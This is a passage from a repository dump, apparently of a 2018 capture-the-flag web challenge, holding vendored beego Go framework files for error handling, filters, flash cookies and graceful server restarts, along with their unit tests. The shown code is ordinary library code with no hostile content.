{\n\t\tctx.ResponseWriter.WriteHeader(code)\n\t\terr.handler(ctx.ResponseWriter, ctx.Request)\n\t\treturn\n\t}\n\tif err.errorType == errorTypeController {\n\t\tctx.Output.SetStatus(code)\n\t\t//Invoke the request handler\n\t\tvc := reflect.New(err.controllerType)\n\t\texecController, ok := vc.Interface().(ControllerInterface)\n\t\tif !ok {\n\t\t\tpanic(\"controller is not ControllerInterface\")\n\t\t}\n\t\t//call the controller init function\n\t\texecController.Init(ctx, err.controllerType.Name(), err.method, vc.Interface())\n\n\t\t//call prepare function\n\t\texecController.Prepare()\n\n\t\texecController.URLMapping()\n\n\t\tmethod := vc.MethodByName(err.method)\n\t\tmethod.Call([]reflect.Value{})\n\n\t\t//render template\n\t\tif BConfig.WebConfig.AutoRender {\n\t\t\tif err := execController.Render(); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\n\t\t// finish all runrouter. release resource\n\t\texecController.Finish()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/error_test.go",
    "content": "// Copyright 2016 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n)\n\ntype errorTestController struct {\n\tController\n}\n\nconst parseCodeError = \"parse code error\"\n\nfunc (ec *errorTestController) Get() {\n\terrorCode, err := ec.GetInt(\"code\")\n\tif err != nil {\n\t\tec.Abort(parseCodeError)\n\t}\n\tif errorCode != 0 {\n\t\tec.CustomAbort(errorCode, ec.GetString(\"code\"))\n\t}\n\tec.Abort(\"404\")\n}\n\nfunc TestErrorCode_01(t *testing.T) {\n\tregisterDefaultErrorHandler()\n\tfor k := range ErrorMaps {\n\t\tr, _ := http.NewRequest(\"GET\", \"/error?code=\"+k, nil)\n\t\tw := httptest.NewRecorder()\n\n\t\thandler := NewControllerRegister()\n\t\thandler.Add(\"/error\", &errorTestController{})\n\t\thandler.ServeHTTP(w, r)\n\t\tcode, _ := strconv.Atoi(k)\n\t\tif w.Code != code {\n\t\t\tt.Fail()\n\t\t}\n\t\tif !strings.Contains(w.Body.String(), http.StatusText(code)) {\n\t\t\tt.Fail()\n\t\t}\n\t}\n}\n\nfunc TestErrorCode_02(t *testing.T) {\n\tregisterDefaultErrorHandler()\n\tr, _ := http.NewRequest(\"GET\", \"/error?code=0\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/error\", &errorTestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Code != 404 {\n\t\tt.Fail()\n\t}\n}\n\nfunc TestErrorCode_03(t *testing.T) {\n\tregisterDefaultErrorHandler()\n\tr, _ := http.NewRequest(\"GET\", \"/error?code=panic\", nil)\n\tw := httptest.NewRecorder()\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/error\", &errorTestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Code != 200 {\n\t\tt.Fail()\n\t}\n\tif w.Body.String() != parseCodeError {\n\t\tt.Fail()\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/filter.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport \"github.com/astaxie/beego/context\"\n\n// FilterFunc defines a filter function which is invoked before the controller handler is executed.\ntype FilterFunc func(*context.Context)\n\n// FilterRouter defines a filter operation which is invoked before the controller handler is executed.\n// It can match the URL against a pattern, and execute a filter function\n// when a request with a matching URL arrives.\ntype FilterRouter struct {\n\tfilterFunc     FilterFunc\n\ttree           *Tree\n\tpattern        string\n\treturnOnOutput bool\n\tresetParams    bool\n}\n\n// ValidRouter checks if the current request is matched by this filter.\n// If the request is matched, the values of the URL parameters defined\n// by the filter pattern are also returned.\nfunc (f *FilterRouter) ValidRouter(url string, ctx *context.Context) bool {\n\tisOk := f.tree.Match(url, ctx)\n\tif isOk != nil {\n\t\tif b, ok := isOk.(bool); ok {\n\t\t\treturn b\n\t\t}\n\t}\n\treturn false\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/filter_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/context\"\n)\n\nvar FilterUser = func(ctx *context.Context) {\n\tctx.Output.Body([]byte(\"i am \" + ctx.Input.Param(\":last\") + ctx.Input.Param(\":first\")))\n}\n\nfunc TestFilter(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/person/asta/Xie\", nil)\n\tw := httptest.NewRecorder()\n\thandler := NewControllerRegister()\n\thandler.InsertFilter(\"/person/:last/:first\", BeforeRouter, FilterUser)\n\thandler.Add(\"/person/:last/:first\", &TestController{})\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am astaXie\" {\n\t\tt.Errorf(\"user define func can't run\")\n\t}\n}\n\nvar FilterAdminUser = func(ctx *context.Context) {\n\tctx.Output.Body([]byte(\"i am admin\"))\n}\n\n// Filter pattern /admin/:all\n// all url like    /admin/    /admin/xie    will all get filter\n\nfunc TestPatternTwo(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/admin/\", nil)\n\tw := httptest.NewRecorder()\n\thandler := NewControllerRegister()\n\thandler.InsertFilter(\"/admin/?:all\", BeforeRouter, FilterAdminUser)\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am admin\" {\n\t\tt.Errorf(\"filter /admin/ can't run\")\n\t}\n}\n\nfunc TestPatternThree(t *testing.T) {\n\tr, _ := http.NewRequest(\"GET\", \"/admin/astaxie\", nil)\n\tw := httptest.NewRecorder()\n\thandler := NewControllerRegister()\n\thandler.InsertFilter(\"/admin/:all\", BeforeRouter, FilterAdminUser)\n\thandler.ServeHTTP(w, r)\n\tif w.Body.String() != \"i am admin\" {\n\t\tt.Errorf(\"filter /admin/astaxie can't run\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/flash.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"strings\"\n)\n\n// FlashData is a tools to maintain data when using across request.\ntype FlashData struct {\n\tData map[string]string\n}\n\n// NewFlash return a new empty FlashData struct.\nfunc NewFlash() *FlashData {\n\treturn &FlashData{\n\t\tData: make(map[string]string),\n\t}\n}\n\n// Set message to flash\nfunc (fd *FlashData) Set(key string, msg string, args ...interface{}) {\n\tif len(args) == 0 {\n\t\tfd.Data[key] = msg\n\t} else {\n\t\tfd.Data[key] = fmt.Sprintf(msg, args...)\n\t}\n}\n\n// Success writes success message to flash.\nfunc (fd *FlashData) Success(msg string, args ...interface{}) {\n\tif len(args) == 0 {\n\t\tfd.Data[\"success\"] = msg\n\t} else {\n\t\tfd.Data[\"success\"] = fmt.Sprintf(msg, args...)\n\t}\n}\n\n// Notice writes notice message to flash.\nfunc (fd *FlashData) Notice(msg string, args ...interface{}) {\n\tif len(args) == 0 {\n\t\tfd.Data[\"notice\"] = msg\n\t} else {\n\t\tfd.Data[\"notice\"] = fmt.Sprintf(msg, args...)\n\t}\n}\n\n// Warning writes warning message to flash.\nfunc (fd *FlashData) Warning(msg string, args ...interface{}) {\n\tif len(args) == 0 {\n\t\tfd.Data[\"warning\"] = msg\n\t} else {\n\t\tfd.Data[\"warning\"] = fmt.Sprintf(msg, args...)\n\t}\n}\n\n// Error writes error message to flash.\nfunc (fd *FlashData) Error(msg string, args ...interface{}) {\n\tif len(args) == 0 {\n\t\tfd.Data[\"error\"] = msg\n\t} else {\n\t\tfd.Data[\"error\"] = fmt.Sprintf(msg, args...)\n\t}\n}\n\n// Store does the saving operation of flash data.\n// the data are encoded and saved in cookie.\nfunc (fd *FlashData) Store(c *Controller) {\n\tc.Data[\"flash\"] = fd.Data\n\tvar flashValue string\n\tfor key, value := range fd.Data {\n\t\tflashValue += \"\\x00\" + key + \"\\x23\" + BConfig.WebConfig.FlashSeparator + \"\\x23\" + value + \"\\x00\"\n\t}\n\tc.Ctx.SetCookie(BConfig.WebConfig.FlashName, url.QueryEscape(flashValue), 0, \"/\")\n}\n\n// ReadFromRequest parsed flash data from encoded values in cookie.\nfunc ReadFromRequest(c *Controller) *FlashData {\n\tflash := NewFlash()\n\tif cookie, err := c.Ctx.Request.Cookie(BConfig.WebConfig.FlashName); err == nil {\n\t\tv, _ := url.QueryUnescape(cookie.Value)\n\t\tvals := strings.Split(v, \"\\x00\")\n\t\tfor _, v := range vals {\n\t\t\tif len(v) > 0 {\n\t\t\t\tkv := strings.Split(v, \"\\x23\"+BConfig.WebConfig.FlashSeparator+\"\\x23\")\n\t\t\t\tif len(kv) == 2 {\n\t\t\t\t\tflash.Data[kv[0]] = kv[1]\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t//read one time then delete it\n\t\tc.Ctx.SetCookie(BConfig.WebConfig.FlashName, \"\", -1, \"/\")\n\t}\n\tc.Data[\"flash\"] = flash.Data\n\treturn flash\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/flash_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n)\n\ntype TestFlashController struct {\n\tController\n}\n\nfunc (t *TestFlashController) TestWriteFlash() {\n\tflash := NewFlash()\n\tflash.Notice(\"TestFlashString\")\n\tflash.Store(&t.Controller)\n\t// we choose to serve json because we don't want to load a template html file\n\tt.ServeJSON(true)\n}\n\nfunc TestFlashHeader(t *testing.T) {\n\t// create fake GET request\n\tr, _ := http.NewRequest(\"GET\", \"/\", nil)\n\tw := httptest.NewRecorder()\n\n\t// setup the handler\n\thandler := NewControllerRegister()\n\thandler.Add(\"/\", &TestFlashController{}, \"get:TestWriteFlash\")\n\thandler.ServeHTTP(w, r)\n\n\t// get the Set-Cookie value\n\tsc := w.Header().Get(\"Set-Cookie\")\n\t// match for the expected header\n\tres := strings.Contains(sc, \"BEEGO_FLASH=%00notice%23BEEGOFLASH%23TestFlashString%00\")\n\t// validate the assertion\n\tif !res {\n\t\tt.Errorf(\"TestFlashHeader() unable to validate flash message\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/grace/conn.go",
    "content": "package grace\n\nimport (\n\t\"errors\"\n\t\"net\"\n\t\"sync\"\n)\n\ntype graceConn struct {\n\tnet.Conn\n\tserver *Server\n\tm      sync.Mutex\n\tclosed bool\n}\n\nfunc (c *graceConn) Close() (err error) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tswitch x := r.(type) {\n\t\t\tcase string:\n\t\t\t\terr = errors.New(x)\n\t\t\tcase error:\n\t\t\t\terr = x\n\t\t\tdefault:\n\t\t\t\terr = errors.New(\"Unknown panic\")\n\t\t\t}\n\t\t}\n\t}()\n\n\tc.m.Lock()\n\tif c.closed {\n\t\tc.m.Unlock()\n\t\treturn\n\t}\n\tc.server.wg.Done()\n\tc.closed = true\n\tc.m.Unlock()\n\treturn c.Conn.Close()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/grace/grace.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package grace use to hot reload\n// Description: http://grisha.org/blog/2014/06/03/graceful-restart-in-golang/\n//\n// Usage:\n//\n// import(\n//   \"log\"\n//\t \"net/http\"\n//\t \"os\"\n//\n//   \"github.com/astaxie/beego/grace\"\n// )\n//\n//  func handler(w http.ResponseWriter, r *http.Request) {\n//\t  w.Write([]byte(\"WORLD!\"))\n//  }\n//\n//  func main() {\n//      mux := http.NewServeMux()\n//      mux.HandleFunc(\"/hello\", handler)\n//\n//\t    err := grace.ListenAndServe(\"localhost:8080\", mux)\n//      if err != nil {\n//\t\t   log.Println(err)\n//\t    }\n//      log.Println(\"Server on 8080 stopped\")\n//\t     os.Exit(0)\n//    }\npackage grace\n\nimport (\n\t\"flag\"\n\t\"net/http\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n)\n\nconst (\n\t// PreSignal is the position to add filter before signal\n\tPreSignal = iota\n\t// PostSignal is the position to add filter after signal\n\tPostSignal\n\t// StateInit represent the application inited\n\tStateInit\n\t// StateRunning represent the application is running\n\tStateRunning\n\t// StateShuttingDown represent the application is shutting down\n\tStateShuttingDown\n\t// StateTerminate represent the application is killed\n\tStateTerminate\n)\n\nvar (\n\tregLock              *sync.Mutex\n\trunningServers       map[string]*Server\n\trunningServersOrder  []string\n\tsocketPtrOffsetMap   map[string]uint\n\trunningServersForked bool\n\n\t// DefaultReadTimeOut is the HTTP read timeout\n\tDefaultReadTimeOut time.Duration\n\t// DefaultWriteTimeOut is the HTTP Write timeout\n\tDefaultWriteTimeOut time.Duration\n\t// DefaultMaxHeaderBytes is the Max HTTP Herder size, default is 0, no limit\n\tDefaultMaxHeaderBytes int\n\t// DefaultTimeout is the shutdown server's timeout. default is 60s\n\tDefaultTimeout = 60 * time.Second\n\n\tisChild     bool\n\tsocketOrder string\n\n\thookableSignals []os.Signal\n)\n\nfunc init() {\n\tflag.BoolVar(&isChild, \"graceful\", false, \"listen on open fd (after forking)\")\n\tflag.StringVar(&socketOrder, \"socketorder\", \"\", \"previous initialization order - used when more than one listener was started\")\n\n\tregLock = &sync.Mutex{}\n\trunningServers = make(map[string]*Server)\n\trunningServersOrder = []string{}\n\tsocketPtrOffsetMap = make(map[string]uint)\n\n\thookableSignals = []os.Signal{\n\t\tsyscall.SIGHUP,\n\t\tsyscall.SIGINT,\n\t\tsyscall.SIGTERM,\n\t}\n}\n\n// NewServer returns a new graceServer.\nfunc NewServer(addr string, handler http.Handler) (srv *Server) {\n\tregLock.Lock()\n\tdefer regLock.Unlock()\n\n\tif !flag.Parsed() {\n\t\tflag.Parse()\n\t}\n\tif len(socketOrder) > 0 {\n\t\tfor i, addr := range strings.Split(socketOrder, \",\") {\n\t\t\tsocketPtrOffsetMap[addr] = uint(i)\n\t\t}\n\t} else {\n\t\tsocketPtrOffsetMap[addr] = uint(len(runningServersOrder))\n\t}\n\n\tsrv = &Server{\n\t\twg:      sync.WaitGroup{},\n\t\tsigChan: make(chan os.Signal),\n\t\tisChild: isChild,\n\t\tSignalHooks: map[int]map[os.Signal][]func(){\n\t\t\tPreSignal: {\n\t\t\t\tsyscall.SIGHUP:  {},\n\t\t\t\tsyscall.SIGINT:  {},\n\t\t\t\tsyscall.SIGTERM: {},\n\t\t\t},\n\t\t\tPostSignal: {\n\t\t\t\tsyscall.SIGHUP:  {},\n\t\t\t\tsyscall.SIGINT:  {},\n\t\t\t\tsyscall.SIGTERM: {},\n\t\t\t},\n\t\t},\n\t\tstate:   StateInit,\n\t\tNetwork: \"tcp\",\n\t}\n\tsrv.Server = &http.Server{}\n\tsrv.Server.Addr = addr\n\tsrv.Server.ReadTimeout = DefaultReadTimeOut\n\tsrv.Server.WriteTimeout = DefaultWriteTimeOut\n\tsrv.Server.MaxHeaderBytes = DefaultMaxHeaderBytes\n\tsrv.Server.Handler = handler\n\n\trunningServersOrder = append(runningServersOrder, addr)\n\trunningServers[addr] = srv\n\n\treturn\n}\n\n// ListenAndServe refer http.ListenAndServe\nfunc ListenAndServe(addr string, handler http.Handler) error {\n\tserver := NewServer(addr, handler)\n\treturn server.ListenAndServe()\n}\n\n// ListenAndServeTLS refer http.ListenAndServeTLS\nfunc ListenAndServeTLS(addr string, certFile string, keyFile string, handler http.Handler) error {\n\tserver := NewServer(addr, handler)\n\treturn server.ListenAndServeTLS(certFile, keyFile)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/grace/listener.go",
    "content": "package grace\n\nimport (\n\t\"net\"\n\t\"os\"\n\t\"syscall\"\n\t\"time\"\n)\n\ntype graceListener struct {\n\tnet.Listener\n\tstop    chan error\n\tstopped bool\n\tserver  *Server\n}\n\nfunc newGraceListener(l net.Listener, srv *Server) (el *graceListener) {\n\tel = &graceListener{\n\t\tListener: l,\n\t\tstop:     make(chan error),\n\t\tserver:   srv,\n\t}\n\tgo func() {\n\t\t<-el.stop\n\t\tel.stopped = true\n\t\tel.stop <- el.Listener.Close()\n\t}()\n\treturn\n}\n\nfunc (gl *graceListener) Accept() (c net.Conn, err error) {\n\ttc, err := gl.Listener.(*net.TCPListener).AcceptTCP()\n\tif err != nil {\n\t\treturn\n\t}\n\n\ttc.SetKeepAlive(true)\n\ttc.SetKeepAlivePeriod(3 * time.Minute)\n\n\tc = &graceConn{\n\t\tConn:   tc,\n\t\tserver: gl.server,\n\t}\n\n\tgl.server.wg.Add(1)\n\treturn\n}\n\nfunc (gl *graceListener) Close() error {\n\tif gl.stopped {\n\t\treturn syscall.EINVAL\n\t}\n\tgl.stop <- nil\n\treturn <-gl.stop\n}\n\nfunc (gl *graceListener) File() *os.File {\n\t// returns a dup(2) - FD_CLOEXEC flag *not* set\n\ttl := gl.Listener.(*net.TCPListener)\n\tfl, _ := tl.File()\n\treturn fl\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/grace/server.go",
    "content": "package grace\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"strings\"\n\t\"sync\"\n\t\"syscall\"\n\t\"time\"\n)\n\n// Server embedded http.Server\ntype Server struct {\n\t*http.Server\n\tGraceListener    net.Listener\n\tSignalHooks      map[int]map[os.Signal][]func()\n\ttlsInnerListener *graceListener\n\twg               sync.WaitGroup\n\tsigChan          chan os.Signal\n\tisChild          bool\n\tstate            uint8\n\tNetwork          string\n}\n\n// Serve accepts incoming connections on the Listener l,\n// creating a new service goroutine for each.\n// The service goroutines read requests and then call srv.Handler to reply to them.\nfunc (srv *Server) Serve() (err error) {\n\tsrv.state = StateRunning\n\terr = srv.Server.Serve(srv.GraceListener)\n\tlog.Println(syscall.Getpid(), \"Waiting for connections to finish...\")\n\tsrv.wg.Wait()\n\tsrv.state = StateTerminate\n\treturn\n}\n\n// ListenAndServe listens on the TCP network address srv.Addr and then calls Serve\n// to handle requests on incoming connections. If srv.Addr is blank, \":http\" is\n// used.\nfunc (srv *Server) ListenAndServe() (err error) {\n\taddr := srv.Addr\n\tif addr == \"\" {\n\t\taddr = \":http\"\n\t}\n\n\tgo srv.handleSignals()\n\n\tl, err := srv.getListener(addr)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\tsrv.GraceListener = newGraceListener(l, srv)\n\n\tif srv.isChild {\n\t\tprocess, err := os.FindProcess(os.Getppid())\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn err\n\t\t}\n\t\terr = process.Signal(syscall.SIGTERM)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tlog.Println(os.Getpid(), srv.Addr)\n\treturn srv.Serve()\n}\n\n// ListenAndServeTLS listens on the TCP network address srv.Addr and then calls\n// Serve to handle requests on incoming TLS connections.\n//\n// Filenames containing a certificate and matching private key for the server must\n// be provided. If the certificate is signed by a certificate authority, the\n// certFile should be the concatenation of the server's certificate followed by the\n// CA's certificate.\n//\n// If srv.Addr is blank, \":https\" is used.\nfunc (srv *Server) ListenAndServeTLS(certFile, keyFile string) (err error) {\n\taddr := srv.Addr\n\tif addr == \"\" {\n\t\taddr = \":https\"\n\t}\n\n\tif srv.TLSConfig == nil {\n\t\tsrv.TLSConfig = &tls.Config{}\n\t}\n\tif srv.TLSConfig.NextProtos == nil {\n\t\tsrv.TLSConfig.NextProtos = []string{\"http/1.1\"}\n\t}\n\n\tsrv.TLSConfig.Certificates = make([]tls.Certificate, 1)\n\tsrv.TLSConfig.Certificates[0], err = tls.LoadX509KeyPair(certFile, keyFile)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgo srv.handleSignals()\n\n\tl, err := srv.getListener(addr)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\tsrv.tlsInnerListener = newGraceListener(l, srv)\n\tsrv.GraceListener = tls.NewListener(srv.tlsInnerListener, srv.TLSConfig)\n\n\tif srv.isChild {\n\t\tprocess, err := os.FindProcess(os.Getppid())\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn err\n\t\t}\n\t\terr = process.Signal(syscall.SIGTERM)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tlog.Println(os.Getpid(), srv.Addr)\n\treturn srv.Serve()\n}\n\n// ListenAndServeMutualTLS listens on the TCP network address srv.Addr and then calls\n// Serve to handle requests on incoming mutual TLS connections.\nfunc (srv *Server) ListenAndServeMutualTLS(certFile, keyFile, trustFile string) (err error) {\n\taddr := srv.Addr\n\tif addr == \"\" {\n\t\taddr = \":https\"\n\t}\n\n\tif srv.TLSConfig == nil {\n\t\tsrv.TLSConfig = &tls.Config{}\n\t}\n\tif srv.TLSConfig.NextProtos == nil {\n\t\tsrv.TLSConfig.NextProtos = []string{\"http/1.1\"}\n\t}\n\n\tsrv.TLSConfig.Certificates = make([]tls.Certificate, 1)\n\tsrv.TLSConfig.Certificates[0], err = tls.LoadX509KeyPair(certFile, keyFile)\n\tif err != nil {\n\t\treturn\n\t}\n\tsrv.TLSConfig.ClientAuth = tls.RequireAndVerifyClientCert\n\tpool := x509.NewCertPool()\n\tdata, err := ioutil.ReadFile(trustFile)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\tpool.AppendCertsFromPEM(data)\n\tsrv.TLSConfig.ClientCAs = pool\n\tlog.Println(\"Mutual HTTPS\")\n\tgo srv.handleSignals()\n\n\tl, err := srv.getListener(addr)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn err\n\t}\n\n\tsrv.tlsInnerListener = newGraceListener(l, srv)\n\tsrv.GraceListener = tls.NewListener(srv.tlsInnerListener, srv.TLSConfig)\n\n\tif srv.isChild {\n\t\tprocess, err := os.FindProcess(os.Getppid())\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn err\n\t\t}\n\t\terr = process.Kill()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tlog.Println(os.Getpid(), srv.Addr)\n\treturn srv.Serve()\n}\n\n// getListener either opens a new socket to listen on, or takes the acceptor socket\n// it got passed when restarted.\nfunc (srv *Server) getListener(laddr string) (l net.Listener, err error) {\n\tif srv.isChild {\n\t\tvar ptrOffset uint\n\t\tif len(socketPtrOffsetMap) > 0 {\n\t\t\tptrOffset = socketPtrOffsetMap[laddr]\n\t\t\tlog.Println(\"laddr\", laddr, \"ptr offset\", socketPtrOffsetMap[laddr])\n\t\t}\n\n\t\tf := os.NewFile(uintptr(3+ptrOffset), \"\")\n\t\tl, err = net.FileListener(f)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"net.FileListener error: %v\", err)\n\t\t\treturn\n\t\t}\n\t} else {\n\t\tl, err = net.Listen(srv.Network, laddr)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"net.Listen error: %v\", err)\n\t\t\treturn\n\t\t}\n\t}\n\treturn\n}\n\n// handleSignals listens for os Signals and calls any hooked in function that the\n// user had registered with the signal.\nfunc (srv *Server) handleSignals() {\n\tvar sig os.Signal\n\n\tsignal.Notify(\n\t\tsrv.sigChan,\n\t\thookableSignals...,\n\t)\n\n\tpid := syscall.Getpid()\n\tfor {\n\t\tsig = <-srv.sigChan\n\t\tsrv.signalHooks(PreSignal, sig)\n\t\tswitch sig {\n\t\tcase syscall.SIGHUP:\n\t\t\tlog.Println(pid, \"Received SIGHUP. forking.\")\n\t\t\terr := srv.fork()\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"Fork err:\", err)\n\t\t\t}\n\t\tcase syscall.SIGINT:\n\t\t\tlog.Println(pid, \"Received SIGINT.\")\n\t\t\tsrv.shutdown()\n\t\tcase syscall.SIGTERM:\n\t\t\tlog.Println(pid, \"Received SIGTERM.\")\n\t\t\tsrv.shutdown()\n\t\tdefault:\n\t\t\tlog.Printf(\"Received %v: nothing i care about...\\n\", sig)\n\t\t}\n\t\tsrv.signalHooks(PostSignal, sig)\n\t}\n}\n\nfunc (srv *Server) signalHooks(ppFlag int, sig os.Signal) {\n\tif _, notSet := srv.SignalHooks[ppFlag][sig]; !notSet {\n\t\treturn\n\t}\n\tfor _, f := range srv.SignalHooks[ppFlag][sig] {\n\t\tf()\n\t}\n}\n\n// shutdown closes the listener so that no new connections are accepted. it also\n// starts a goroutine that will serverTimeout (stop all running requests) the server\n// after DefaultTimeout.\nfunc (srv *Server) shutdown() {\n\tif srv.state != StateRunning {\n\t\treturn\n\t}\n\n\tsrv.state = StateShuttingDown\n\tif DefaultTimeout >= 0 {\n\t\tgo srv.serverTimeout(DefaultTimeout)\n\t}\n\terr := srv.GraceListener.Close()\n\tif err != nil {\n\t\tlog.Println(syscall.Getpid(), \"Listener.Close() error:\", err)\n\t} else {\n\t\tlog.Println(syscall.Getpid(), srv.GraceListener.Addr(), \"Listener closed.\")\n\t}\n}\n\n// serverTimeout forces the server to shutdown in a given timeout - whether it\n// finished outstanding requests or not. if Read/WriteTimeout are not set or the\n// max header size is very big a connection could hang\nfunc (srv *Server) serverTimeout(d time.Duration) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tlog.Println(\"WaitGroup at 0\", r)\n\t\t}\n\t}()\n\tif srv.state != StateShuttingDown {\n\t\treturn\n\t}\n\ttime.Sleep(d)\n\tlog.Println(\"[STOP - Hammer Time] Forcefully shutting down parent\")\n\tfor {\n\t\tif srv.state == StateTerminate {\n\t\t\tbreak\n\t\t}\n\t\tsrv.wg.Done()\n\t}\n}\n\nfunc (srv *Server) fork() (err error) {\n\tregLock.Lock()\n\tdefer regLock.Unlock()\n\tif runningServersForked {\n\t\treturn\n\t}\n\trunningServersForked = true\n\n\tvar files = make([]*os.File, len(runningServers))\n\tvar orderArgs = make([]string, len(runningServers))\n\tfor _, srvPtr := range runningServers {\n\t\tswitch srvPtr.GraceListener.(type) {\n\t\tcase *graceListener:\n\t\t\tfiles[socketPtrOffsetMap[srvPtr.Server.Addr]] = srvPtr.GraceListener.(*graceListener).File()\n\t\tdefault:\n\t\t\tfiles[socketPtrOffsetMap[srvPtr.Server.Addr]] = srvPtr.tlsInnerListener.File()\n\t\t}\n\t\torderArgs[socketPtrOffsetMap[srvPtr.Server.Addr]] = srvPtr.Server.Addr\n\t}\n\n\tlog.Println(files)\n\tpath := os.Args[0]\n\tvar args []string\n\tif len(os.Args) > 1 {\n\t\tfor _, arg := range os.Args[1:] {\n\t\t\tif arg == \"-graceful\" 